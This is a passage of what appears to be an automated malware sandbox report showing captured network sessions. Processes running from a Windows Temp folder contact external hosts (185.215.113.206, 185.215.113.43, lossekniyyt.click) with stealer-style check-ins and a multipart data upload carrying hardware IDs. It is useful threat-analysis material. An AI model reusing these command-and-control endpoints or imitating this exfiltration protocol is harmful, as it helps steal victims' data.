Dec 18, 2024 17:09:58.177874088 CET	1236	IN	Data Raw: 2c e9 25 b3 2d b7 b2 14 b0 54 02 96 2d c0 df e9 56 b4 02 12 3d 45 26 ae fb 76 45 03 f2 a8 e8 68 3c c4 b3 d4 12 38 64 02 3e b0 08 d4 96 10 e3 d1 67 46 b1 01 56 a0 fd 29 37 04 1e 4c ae b4 ba 94 ca 54 f3 05 16 34 09 d0 d6 10 03 92 2e c5 50 a4 e6 84 Data Ascii: ,%-T-V=E&vEh<8d>gFV)7LT4.P`Q?>R=}8 2CB%7}\8i>tJZ\|LVMiH]\|Run[5%D+QHjI=d>;1PVs
Dec 18, 2024 17:09:58.185142994 CET	1236	IN	Data Raw: 4b 58 93 95 63 cc fe bd 5f dc 8c 82 54 89 f5 81 5f 92 cf 2d 21 e4 cf f1 ff 19 77 8a cb a2 b7 9f b6 47 90 b9 0f 8b 86 d5 58 3a c8 64 ba 7c 93 84 22 f3 e2 11 9a e3 27 47 32 52 c8 f1 4f fd 19 11 de 7c bc 44 5e b6 9c f6 6c 5b cb ea e7 a4 3e 47 dd ef Data Ascii: KXc_T_-!wGX:d\|"'G2RO\|D^l[>G8eEAW9+LSZ+ta]'U\z&O:]BBY4:q\@3vkwC3^DX_"2U%N3rHxl?3lFJuW
Dec 18, 2024 17:09:58.185291052 CET	1236	IN	Data Raw: 26 ec dc f0 f5 60 53 ed a6 e4 fb 9c 86 d3 75 e6 6a e8 ed 21 d9 03 ce 07 38 54 e3 a1 55 f7 0f af ef f1 72 b9 38 ad 75 b6 b4 73 b6 c5 37 b4 fb 41 d8 a9 64 b4 15 0e d1 f1 3d 11 e6 b7 bf 4c 9c 58 39 b9 da 08 d2 fe b1 bb 5c c0 3c 04 fb 90 29 1c 00 99 Data Ascii: &`Suj!8TUr8us7Ad=LX9\<)TmJ3K@cF3!8a[92v(RCB>LgEzEP!\|Lf\|$ib4n.n%r->\rLn"Kw#3Qn62<,WIl@
Dec 18, 2024 17:09:58.193597078 CET	1236	IN	Data Raw: 2f df 23 e2 ee 6c 84 cf dd f3 1c c3 6d 0e b2 ac 17 83 48 52 0b 9e e4 48 0e 7d 9c e0 90 5c e6 14 3d cf 0b af 22 b3 c5 e5 05 2a ed f7 38 be 2c d3 c1 38 28 93 5a 03 f5 7a 5e 8a fc e8 b9 ec b2 25 03 93 3d df e8 b0 57 60 8e 62 3d 2a a9 b2 54 40 13 ec Data Ascii: /#lmHRH}\="8,8(Zz^%=W`b=T@4lF"+mWP%1MPmi,]R=<!R*EDv6&I7@\JlBX[beB[dFE.sr-:]
Dec 18, 2024 17:09:58.193711996 CET	1236	IN	Data Raw: dd 88 f4 95 50 8f e6 f0 eb 78 b6 ac f6 b1 c4 32 99 09 7d b1 ab 37 df 6c d1 af 21 4d 5b eb 18 36 9b e2 8d 6c 1a 5c 53 fe 2d 1c 9a 25 75 a1 84 96 52 3c 77 9d 13 0b 89 64 04 0d 75 80 86 b4 dc 8e cc 73 5b 21 2a 23 7a 04 43 cc 20 f5 cc ed bb 7b 0c ef Data Ascii: Px2}7l!M[6l\S-%uR<wdus[!*#zC {Q:>ZSr7J>ns?JQ~P'TC\|vE}4Jq}SSt=9u=m_cLs}\|n(0! @yR+
Dec 18, 2024 17:09:58.202054024 CET	776	IN	Data Raw: 0b 05 ad d1 a1 b8 9b cc a9 82 31 85 cc 5b 93 23 a0 78 73 da 3b 95 eb b1 cc 84 3e c9 40 88 25 a4 e1 d3 36 b9 1f 4f a0 e4 dc f9 f4 e1 41 a0 ee c9 79 a4 e4 7e 73 b3 b1 43 3e 44 9c 87 50 33 39 17 2a 84 2b dc 15 ac ac b0 11 1b 3c 31 ad a6 58 0a fd 9f Data Ascii: 1[#xs;>@%6OAy~sC>DP39*+<1XM-A+<4)anjqbl"?o1CU#,L2%JG%vL;I(`cRtHW`et>J(9

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	50110	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:09:54.869712114 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 18, 2024 17:09:56.211203098 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:09:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 18, 2024 17:09:56.385107040 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFBGCFCFHCFHIECAEHDH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 42 47 43 46 43 46 48 43 46 48 49 45 43 41 45 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 39 37 34 43 37 33 39 36 35 32 32 32 38 33 38 34 32 30 38 31 30 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 43 46 43 46 48 43 46 48 49 45 43 41 45 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 43 46 43 46 48 43 46 48 49 45 43 41 45 48 44 48 2d 2d 0d 0a Data Ascii: ------BFBGCFCFHCFHIECAEHDHContent-Disposition: form-data; name="hwid"2974C73965222838420810------BFBGCFCFHCFHIECAEHDHContent-Disposition: form-data; name="build"stok------BFBGCFCFHCFHIECAEHDH--
Dec 18, 2024 17:09:56.830784082 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:09:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	50113	185.215.113.43	80	7564	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:09:55.647331953 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 18, 2024 17:09:56.951467037 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 16:09:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	50118	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:09:57.622517109 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49764	172.67.131.246	443	7828	C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:08:17 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: lossekniyyt.click
2024-12-18 16:08:17 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-18 16:08:22 UTC	1045	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:08:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kpfda1mgfq7d8pkvbd1q5ivemu; expires=Sun, 13-Apr-2025 09:54:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9QBE5EvnRpN%2FO3CHAAEj0JPHWIfTs6MW7zd%2BqJewl5u1G7NCEnRRc6Z8Fs3FgAW0YmyyDNwphcBBQvMA5LMwkhi99Mafx2lZBpVRp%2F309Ng%2Bs7SB8lj9kqLGrsYA7ibi2D1m%2FQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4069294e950caa-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1622&min_rtt=1609&rtt_var=612&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2842&recv_bytes=908&delivery_rate=1814791&cwnd=239&unsent_bytes=0&cid=c59de7ea93078c50&ts=4581&x=0"
2024-12-18 16:08:22 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-18 16:08:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49778	172.67.131.246	443	7828	C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:08:23 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 42 Host: lossekniyyt.click
2024-12-18 16:08:23 UTC	42	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 39 5a 31 63 79 63 2d 2d 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=9Z1cyc--&j=
2024-12-18 16:08:28 UTC	1047	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:08:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=n7ukj5trq600reav67qoq952t0; expires=Sun, 13-Apr-2025 09:55:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2B2fnMBgZ15LRZ7CuZQQqTnHKsriREp4QH%2FRWg7%2FyBtNbQME9TpBmVtzVep7NSsUOz%2B2jvU3tvevNRrG%2BM%2BmDw4ODC57fIAvIGTz8whEsPoXX8rdzSSAhHbRdgH3w0U5uWfbgeA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f40694b5d5c4391-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1955&min_rtt=1835&rtt_var=774&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2842&recv_bytes=943&delivery_rate=1591280&cwnd=237&unsent_bytes=0&cid=681867df2357f2fc&ts=4763&x=0"
2024-12-18 16:08:28 UTC	322	IN	Data Raw: 31 35 30 36 0d 0a 70 49 77 77 47 58 77 59 48 79 50 7a 4a 32 32 70 67 6c 4d 4c 72 58 61 6d 6a 2b 31 41 58 57 51 79 6a 58 62 46 6f 55 39 2f 64 45 50 66 72 6b 59 37 52 69 77 7a 41 59 42 43 54 35 50 32 49 58 37 49 57 6f 54 75 69 57 4a 6e 41 6c 50 68 42 61 43 4e 62 51 6b 5a 59 5a 37 71 55 58 55 50 66 54 4d 42 6c 6c 39 50 6b 39 6b 6f 4b 63 67 59 68 4c 58 50 4a 54 63 47 55 2b 45 55 70 4d 6f 67 44 78 67 67 7a 4f 42 58 63 52 6c 37 65 30 4b 66 53 67 6a 4d 35 7a 4a 68 77 78 2f 4c 35 34 42 69 63 55 5a 58 39 31 54 2f 67 77 49 61 41 43 4c 70 37 55 4e 79 58 6d 55 7a 57 4e 46 43 41 34 75 34 63 57 72 49 46 4d 72 70 69 53 73 31 44 46 72 70 46 61 48 4c 50 78 59 53 4b 38 7a 75 56 48 41 54 63 6d 39 50 6c 55 30 44 79 75 30 79 4b 59 46 55 77 2f 58 50 65 6e 39 56 59 75 77 46 74 Data Ascii: 1506pIwwGXwYHyPzJ22pglMLrXamj+1AXWQyjXbFoU9/dEPfrkY7RiwzAYBCT5P2IX7IWoTuiWJnAlPhBaCNbQkZYZ7qUXUPfTMBll9Pk9koKcgYhLXPJTcGU+EUpMogDxggzOBXcRl7e0KfSgjM5zJhwx/L54BicUZX91T/gwIaACLp7UNyXmUzWNFCA4u4cWrIFMrpiSs1DFrpFaHLPxYSK8zuVHATcm9PlU0Dyu0yKYFUw/XPen9VYuwFt
2024-12-18 16:08:28 UTC	1369	IN	Data Raw: 4b 53 6d 58 56 4f 54 39 6a 43 45 72 43 30 47 76 43 2b 6e 61 62 52 6f 61 59 5a 36 75 56 48 55 66 64 33 31 54 6d 55 34 45 7a 76 49 36 59 4d 49 5a 78 4f 43 46 4c 54 77 47 56 2b 55 65 71 4d 6b 70 45 42 73 6e 78 75 34 53 4e 56 35 39 5a 51 48 4a 42 53 7a 4f 38 44 5a 6c 32 56 62 2b 72 5a 42 73 4a 6b 5a 58 34 31 54 2f 67 79 55 59 46 53 4c 4e 34 56 46 7a 46 57 68 39 55 35 64 49 43 74 6e 6d 4e 47 66 46 46 39 62 6e 67 53 51 38 44 31 76 6d 45 61 44 48 62 56 4e 57 4a 74 36 75 43 6a 73 2f 64 33 5a 4e 6d 31 49 50 69 2f 39 2f 63 49 38 54 79 4b 33 58 59 6a 73 48 56 4f 34 51 71 63 30 70 45 52 41 76 79 2b 46 55 63 52 35 39 64 30 6d 5a 52 41 4c 41 37 7a 46 73 77 68 44 43 34 59 34 6e 66 30 67 51 36 41 7a 6e 6d 32 30 7a 45 53 4c 55 72 47 64 34 45 48 52 36 56 39 46 61 51 64 4b Data Ascii: KSmXVOT9jCErC0GvC+nabRoaYZ6uVHUfd31TmU4EzvI6YMIZxOCFLTwGV+UeqMkpEBsnxu4SNV59ZQHJBSzO8DZl2Vb+rZBsJkZX41T/gyUYFSLN4VFzFWh9U5dICtnmNGfFF9bngSQ8D1vmEaDHbVNWJt6uCjs/d3ZNm1IPi/9/cI8TyK3XYjsHVO4Qqc0pERAvy+FUcR59d0mZRALA7zFswhDC4Y4nf0gQ6Aznm20zESLUrGd4EHR6V9FaQdK
2024-12-18 16:08:28 UTC	1369	IN	Data Raw: 52 54 4d 36 49 34 6f 4e 55 59 65 72 78 4f 2f 67 33 56 64 4a 7a 62 4e 72 47 64 34 45 48 52 36 56 39 46 61 51 64 4b 67 4e 6d 57 50 54 49 54 67 68 79 63 36 43 56 48 6c 47 71 4c 4a 49 52 55 59 49 74 54 68 56 6e 73 53 63 6e 64 4d 6e 30 45 48 77 75 73 36 62 38 38 56 7a 71 33 42 59 6a 67 65 45 4c 64 55 6b 38 51 68 45 42 6c 6a 38 2b 31 63 64 52 6c 73 50 56 37 66 58 45 2f 4d 37 48 45 78 6a 78 6a 4e 37 59 51 6f 4f 77 5a 58 34 68 47 6b 78 43 34 51 45 53 76 49 36 56 5a 33 46 33 64 37 51 5a 5a 42 43 74 6e 6c 4f 47 58 44 56 49 71 74 69 44 70 2f 58 68 44 41 45 37 48 41 41 68 34 48 4b 49 62 78 48 47 4a 65 66 58 45 42 79 51 55 49 7a 75 67 36 62 38 63 55 31 75 69 42 4b 54 34 4d 56 75 34 5a 71 38 55 74 48 42 59 6e 79 75 35 56 66 41 78 6f 65 45 65 44 54 30 2b 46 6f 44 5a 78 Data Ascii: RTM6I4oNUYerxO/g3VdJzbNrGd4EHR6V9FaQdKgNmWPTITghyc6CVHlGqLJIRUYItThVnsScndMn0EHwus6b88Vzq3BYjgeELdUk8QhEBlj8+1cdRlsPV7fXE/M7HExjxjN7YQoOwZX4hGkxC4QESvI6VZ3F3d7QZZBCtnlOGXDVIqtiDp/XhDAE7HAAh4HKIbxHGJefXEByQUIzug6b8cU1uiBKT4MVu4Zq8UtHBYnyu5VfAxoeEeDT0+FoDZx
2024-12-18 16:08:28 UTC	1369	IN	Data Raw: 71 44 59 6d 64 47 55 2b 41 64 71 4d 73 6c 45 68 6b 6c 79 4f 68 55 64 68 74 31 64 31 4f 5a 53 77 4c 41 37 7a 70 37 7a 78 6e 41 34 59 73 71 4e 41 77 51 6f 56 53 67 32 32 31 46 56 68 54 4c 34 56 4a 34 43 44 70 69 44 34 67 46 43 4d 65 67 61 53 6e 44 47 73 54 69 67 79 34 30 44 6c 48 6a 47 71 44 47 4a 42 55 65 4d 38 66 71 57 6e 6f 51 64 58 78 46 6c 45 41 4c 7a 4f 51 33 5a 6f 39 61 68 4f 71 58 59 6d 64 47 66 38 67 68 35 65 49 58 58 51 6c 76 33 36 35 56 64 31 34 69 50 55 32 53 53 51 66 45 35 6a 68 6c 78 52 33 50 34 59 51 6d 4d 77 39 56 36 52 57 69 78 69 77 5a 47 69 76 41 37 56 46 30 45 58 56 31 41 64 38 46 43 4e 4f 67 61 53 6e 71 41 38 2f 6a 69 57 49 67 53 45 6d 76 45 36 75 44 64 56 30 61 4b 4d 44 6f 56 33 63 66 66 48 56 45 6d 55 45 4f 7a 65 59 79 5a 73 73 52 78 Data Ascii: qDYmdGU+AdqMslEhklyOhUdht1d1OZSwLA7zp7zxnA4YsqNAwQoVSg221FVhTL4VJ4CDpiD4gFCMegaSnDGsTigy40DlHjGqDGJBUeM8fqWnoQdXxFlEALzOQ3Zo9ahOqXYmdGf8gh5eIXXQlv365Vd14iPU2SSQfE5jhlxR3P4YQmMw9V6RWixiwZGivA7VF0EXV1Ad8FCNOgaSnqA8/jiWIgSEmvE6uDdV0aKMDoV3cffHVEmUEOzeYyZssRx
2024-12-18 16:08:28 UTC	961	IN	Data Raw: 78 43 56 50 39 46 61 72 49 50 78 6f 5a 4a 63 48 69 56 48 51 59 65 33 68 4c 6e 55 49 4b 77 4f 38 39 4b 59 46 55 77 2f 58 50 65 6e 38 6f 57 2f 77 44 70 4d 30 6d 43 77 31 68 32 61 42 4c 4f 78 6c 32 50 52 6e 52 52 67 54 41 35 44 46 6c 7a 78 44 4a 37 5a 30 74 4f 41 46 5a 35 41 61 74 78 43 6f 57 48 69 72 4a 36 45 42 33 45 47 68 34 55 34 4d 46 51 59 76 6e 4b 53 6d 58 56 50 4c 71 6e 7a 49 38 52 47 48 35 46 37 48 49 49 42 46 57 50 6f 6a 33 45 6e 77 53 4f 69 55 42 6c 30 6f 47 79 4f 38 77 59 4d 4d 5a 77 65 53 4b 49 7a 6b 43 57 75 55 55 6f 63 55 73 47 42 77 69 78 2b 52 62 66 42 5a 39 66 6c 50 52 43 30 2f 4d 2b 48 45 78 6a 7a 33 44 2f 34 45 79 66 78 6b 65 39 6c 53 67 7a 32 31 46 56 69 58 4d 34 56 5a 38 45 6e 78 34 52 35 78 45 41 4d 72 67 50 6d 33 45 48 63 4c 73 67 69 Data Ascii: xCVP9FarIPxoZJcHiVHQYe3hLnUIKwO89KYFUw/XPen8oW/wDpM0mCw1h2aBLOxl2PRnRRgTA5DFlzxDJ7Z0tOAFZ5AatxCoWHirJ6EB3EGh4U4MFQYvnKSmXVPLqnzI8RGH5F7HIIBFWPoj3EnwSOiUBl0oGyO8wYMMZweSKIzkCWuUUocUsGBwix+RbfBZ9flPRC0/M+HExjz3D/4Eyfxke9lSgz21FViXM4VZ8Enx4R5xEAMrgPm3EHcLsgi
2024-12-18 16:08:28 UTC	1369	IN	Data Raw: 33 34 31 36 0d 0a 42 6a 50 55 61 64 42 56 65 4c 37 6a 68 6f 78 78 72 49 35 59 73 77 50 77 31 5a 34 42 57 6f 77 79 34 63 48 43 6e 55 36 46 4a 77 46 6e 31 31 52 5a 39 58 44 73 53 67 66 79 6e 49 44 49 53 31 7a 78 4d 70 41 56 66 67 56 6f 37 45 4e 68 77 63 49 73 33 69 45 6d 52 51 59 7a 31 47 6e 51 56 58 69 2b 30 39 5a 4d 73 47 79 4f 32 50 4b 7a 67 4d 51 75 41 62 71 73 41 74 47 41 51 67 31 4f 46 5a 66 68 31 2b 63 6b 36 64 54 51 57 4c 72 6e 46 75 31 31 53 63 72 61 4d 68 4c 67 77 53 79 41 36 78 78 43 45 4d 48 53 7a 4b 72 6b 30 31 42 7a 70 36 54 64 45 64 54 38 76 68 50 48 76 4b 46 63 37 6e 67 69 6f 77 41 31 58 67 45 4b 50 49 49 77 38 59 4c 73 62 6f 57 58 6f 62 65 58 5a 4c 6e 30 77 64 69 36 35 78 62 74 64 55 6e 4b 32 6c 4f 54 34 4c 58 4b 30 36 72 4e 55 71 58 7a 63 Data Ascii: 3416BjPUadBVeL7jhoxxrI5YswPw1Z4BWowy4cHCnU6FJwFn11RZ9XDsSgfynIDIS1zxMpAVfgVo7ENhwcIs3iEmRQYz1GnQVXi+09ZMsGyO2PKzgMQuAbqsAtGAQg1OFZfh1+ck6dTQWLrnFu11ScraMhLgwSyA6xxCEMHSzKrk01Bzp6TdEdT8vhPHvKFc7ngiowA1XgEKPIIw8YLsboWXobeXZLn0wdi65xbtdUnK2lOT4LXK06rNUqXzc
2024-12-18 16:08:28 UTC	1369	IN	Data Raw: 6e 38 58 64 48 51 42 33 77 55 49 30 36 42 70 4b 66 6b 45 77 2f 57 43 4d 6e 30 30 55 2f 34 46 73 73 34 39 47 31 51 4f 78 65 4a 52 66 68 6c 71 50 56 37 66 58 45 2f 4d 37 48 45 78 6a 78 54 41 34 59 77 6c 4d 51 6c 64 34 42 4f 73 7a 43 63 54 42 43 37 44 35 6c 35 7a 45 32 68 33 53 34 4e 4d 42 73 62 75 4f 58 76 4d 56 49 71 74 69 44 70 2f 58 68 44 64 48 71 54 50 4f 78 41 5a 59 64 6d 67 53 7a 73 5a 64 6a 30 5a 30 56 63 64 79 2b 73 78 62 73 45 47 78 65 57 41 4b 44 38 41 57 2b 55 58 72 73 63 6a 46 42 41 67 79 2b 39 54 65 78 74 36 64 46 4f 63 42 55 47 4c 35 79 6b 70 6c 31 54 7a 34 59 51 54 50 42 41 51 38 46 71 2b 67 79 6f 52 56 6e 6d 47 37 30 42 32 46 6e 35 39 54 4a 64 4f 44 73 72 6a 4d 57 6e 4d 46 4d 48 6d 67 43 51 34 43 31 72 6d 48 62 58 4c 4b 51 38 57 4c 63 4b 75 Data Ascii: n8XdHQB3wUI06BpKfkEw/WCMn00U/4Fss49G1QOxeJRfhlqPV7fXE/M7HExjxTA4YwlMQld4BOszCcTBC7D5l5zE2h3S4NMBsbuOXvMVIqtiDp/XhDdHqTPOxAZYdmgSzsZdj0Z0Vcdy+sxbsEGxeWAKD8AW+UXrscjFBAgy+9Text6dFOcBUGL5ykpl1Tz4YQTPBAQ8Fq+gyoRVnmG70B2Fn59TJdODsrjMWnMFMHmgCQ4C1rmHbXLKQ8WLcKu
2024-12-18 16:08:28 UTC	1369	IN	Data Raw: 5a 44 66 34 52 47 41 63 58 6e 4a 33 69 50 57 6f 54 69 7a 33 6f 47 52 68 69 76 4b 2b 6d 44 4e 56 31 4f 59 66 50 74 58 48 55 5a 62 47 77 4d 73 55 34 5a 79 75 30 36 5a 59 30 56 79 66 32 49 59 6e 46 47 56 71 39 4d 39 34 31 74 47 51 64 68 6e 72 34 41 49 45 73 70 4b 68 48 44 57 6b 48 53 6f 43 63 70 6c 30 61 4b 72 5a 31 69 5a 30 59 58 37 41 61 31 78 53 34 4c 46 57 62 34 30 48 4a 77 45 6e 6c 78 51 4a 59 46 51 59 76 76 63 54 48 32 56 4d 66 2f 6e 57 30 75 45 46 33 2f 45 2b 76 4c 50 42 41 61 59 59 69 75 48 6e 38 56 64 6e 68 47 67 51 6f 64 32 2b 73 39 66 34 4d 51 31 71 33 42 59 69 34 4e 58 2f 30 61 6f 49 77 38 43 78 73 78 78 65 74 56 4e 78 5a 72 63 45 33 52 43 30 2f 65 36 7a 31 76 77 67 47 4c 2f 4a 6b 68 4b 51 45 63 35 77 57 71 7a 32 30 69 57 47 48 65 72 67 6f 37 4b Data Ascii: ZDf4RGAcXnJ3iPWoTiz3oGRhivK+mDNV1OYfPtXHUZbGwMsU4Zyu06ZY0Vyf2IYnFGVq9M941tGQdhnr4AIEspKhHDWkHSoCcpl0aKrZ1iZ0YX7Aa1xS4LFWb40HJwEnlxQJYFQYvvcTH2VMf/nW0uEF3/E+vLPBAaYYiuHn8VdnhGgQod2+s9f4MQ1q3BYi4NX/0aoIw8CxsxxetVNxZrcE3RC0/e6z1vwgGL/JkhKQEc5wWqz20iWGHergo7K
2024-12-18 16:08:28 UTC	1369	IN	Data Raw: 57 55 78 36 47 78 6a 4a 75 79 52 66 4b 2b 70 35 69 63 55 5a 57 72 30 7a 31 6a 57 30 5a 42 32 47 65 76 67 41 67 53 79 6b 71 45 63 4e 61 51 64 4b 67 4a 79 6d 58 52 34 71 74 6e 57 4a 6e 52 68 66 68 47 61 62 41 49 78 34 45 4d 38 44 74 52 48 68 5a 52 45 4e 6b 6e 45 67 4b 78 65 63 50 56 2b 34 65 31 4f 43 41 4a 51 45 34 5a 2f 34 54 74 34 45 4c 48 67 41 69 68 71 41 53 59 31 34 69 50 57 43 62 56 51 4c 45 35 33 45 6e 6a 78 43 45 74 63 38 48 4d 67 74 56 34 52 50 6c 34 69 63 4e 47 79 37 42 72 68 77 37 45 6a 6f 6c 41 5a 42 50 48 38 62 76 4e 69 58 49 44 73 4f 74 77 57 49 78 52 67 69 76 46 61 33 54 49 42 49 52 62 63 44 67 58 44 73 42 4e 47 51 42 68 77 56 58 6d 4b 35 78 65 34 39 4d 68 4b 71 42 4c 7a 34 46 58 75 77 47 74 63 55 75 43 78 56 6d 2b 4e 42 33 64 68 4e 2f 63 30 Data Ascii: WUx6GxjJuyRfK+p5icUZWr0z1jW0ZB2GevgAgSykqEcNaQdKgJymXR4qtnWJnRhfhGabAIx4EM8DtRHhZRENknEgKxecPV+4e1OCAJQE4Z/4Tt4ELHgAihqASY14iPWCbVQLE53EnjxCEtc8HMgtV4RPl4icNGy7Brhw7EjolAZBPH8bvNiXIDsOtwWIxRgivFa3TIBIRbcDgXDsBNGQBhwVXmK5xe49MhKqBLz4FXuwGtcUuCxVm+NB3dhN/c0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49791	172.67.131.246	443	7828	C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:08:29 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=VHEAV755W9T User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18116 Host: lossekniyyt.click
2024-12-18 16:08:29 UTC	15331	OUT	Data Raw: 2d 2d 56 48 45 41 56 37 35 35 57 39 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 42 32 42 41 43 45 39 31 34 35 43 33 30 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 56 48 45 41 56 37 35 35 57 39 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 56 48 45 41 56 37 35 35 57 39 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 39 5a 31 63 79 63 2d 2d 0d 0a 2d 2d 56 48 45 41 56 37 35 35 57 39 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 Data Ascii: --VHEAV755W9TContent-Disposition: form-data; name="hwid"8B2BACE9145C30D4AC8923850305D13E--VHEAV755W9TContent-Disposition: form-data; name="pid"2--VHEAV755W9TContent-Disposition: form-data; name="lid"9Z1cyc----VHEAV755W9TContent-D
